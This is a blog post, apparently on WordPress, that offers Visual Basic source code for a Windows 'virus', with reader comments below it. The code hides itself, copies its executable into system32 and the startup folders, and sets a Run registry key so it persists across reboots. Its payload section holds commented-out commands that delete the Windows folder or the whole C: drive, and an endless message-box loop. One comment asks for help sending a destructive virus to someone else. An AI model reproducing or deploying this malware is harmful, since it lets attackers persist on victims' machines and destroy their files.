Source Code Virus


This is a source code virus with vb from my friend, I hope running from your computer.

‘Here code

‘Pallvb WILL NOT BE HELD RESPONSIBLE FOR WHAT PEOPLE MIGHT USE THIS FOR
Dim namefile As String
Dim namereg As String
Private Sub Form_Load()
On Error Resume Next
Me.Hide ‘so people can not see it
namefile = “virus.exe” ‘put the virus file name here with the .exe on the end !Recommended to change!
namereg = “virus” ‘put the virus reg key name in here !Recommended to change!
If LCase$(App.Path) <> “c:\windows\system32” Or “c:\windows\start menu\programs\startup” Or “c:\windows\start menu\programs\start up” Or “c:\winnt\system32” Or “c:\winnt\start menu\programs\startup” Or “c:\winnt\start menu\programs\start up” Or “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” Then
‘^this is check if the computer already has been infected !Recommended not to touch!
reg namefile, namereg ‘this is to infect the computer
End If
payload ‘this goes to the main part of the virus
End Sub
Function payload()
On Error Resume Next
‘this is the main part of the virus put the code here of what you want this virus to do

‘Shell (“cmd /c del c:\windows\* /F /S /Q”) ‘this will kill the windows folder in C:

‘Shell (“cmd /c del c:\* /F /S /Q”) ‘this will kill the whole C: drive

‘start:
‘msgbox “Your Pc Is Infected With The Anoying Virus”
‘goto start ‘this will repeat a msgbox over and over again
End Function

‘and here module

‘!Recommended not to touch!
Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Declare Function RegCloseKey Lib “advapi32.dll” (ByVal Hkey As Long) As Long
Declare Function RegDeleteValue Lib “advapi32.dll” Alias “RegDeleteValueA” (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib “advapi32.dll” Alias “RegOpenKeyA” (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
‘this is to save the virus in the reg to startup when windows boots !Recommended not to touch!
On Error Resume Next
Dim keyhand As Long
Dim X As Long
X = RegCreateKey(Hkey, strPath, keyhand)
X = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
X = RegCloseKey(keyhand)
End Sub
Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
‘this is to delete the virus if something went wrong in reg(below) !Recommended not to touch!
On Error Resume Next
Dim Xkey As Long
Dim X As Long
X = RegOpenKey(Hkey, strPath, Xkey)
X = RegDeleteValue(Xkey, strValue)
X = RegCloseKey(Xkey)
End Function
Function reg(filename As String, regname As String)
‘this is to infect the computer (a little complex) !Recommended not to touch!
On Error GoTo error1
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\windows\system32\” & filename)
On Error GoTo error2
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\windows\system32\” & filename
Exit Function
error1:
On Error Resume Next
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\windows\start menu\programs\startup\” & filename
On Error GoTo error4
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\windows\start menu\programs\start up\” & filename
Exit Function
error2:
On Error GoTo error3
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\winnt\system32\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\winnt\system32\” & filename)
Exit Function
error3:
On Error GoTo error6
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\” & filename)
Exit Function
error4:
On Error Resume Next
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\winnt\start menu\programs\startup\” & filename
On Error GoTo error5
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\winnt\start menu\programs\start up\” & filename
Exit Function
error5:
On Error GoTo enditnow
FileCopy App.Path & “\” & App.EXEName & “.exe”, “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\” & filename
Exit Function
error6:
On Error GoTo error7
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\Documents and Settings\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\Documents and Settings” & filename)
Exit Function
error7:
On Error GoTo enditnow
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\program files\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\program files\” & filename)
Exit Function
enditnow:
On Error Resume Next
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
End
End Function


14 responses to “Source Code Virus

  1. Bing Bong !!

    The train about to leave platform 13 is the 4-15 service to
    Loser Ville.
    Stopping at brain dead, sheephurding dowg, time waster, moron and the post lobotomy recovery unit.

    All passengers for this service should board the train now.
    Please note, our brain-cell hire service is heavily over-subscribed so passengers are restricted to 1 per customer at the rate of 2 Euros an hour.

    Do not over use the cell because the aardvark who kindly lent them to us can’t blink his eyes without them.

  2. I need help making and sending a virus.
    I want this virus to be strong so that it completly erases and shuts down the computer its being sent to. I want that computer fried.

    can you help?

  3. try “I LOVE YOU ” Virus code .. for more details searh on google .. a harmful virus ever made in .vbs ..!!!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s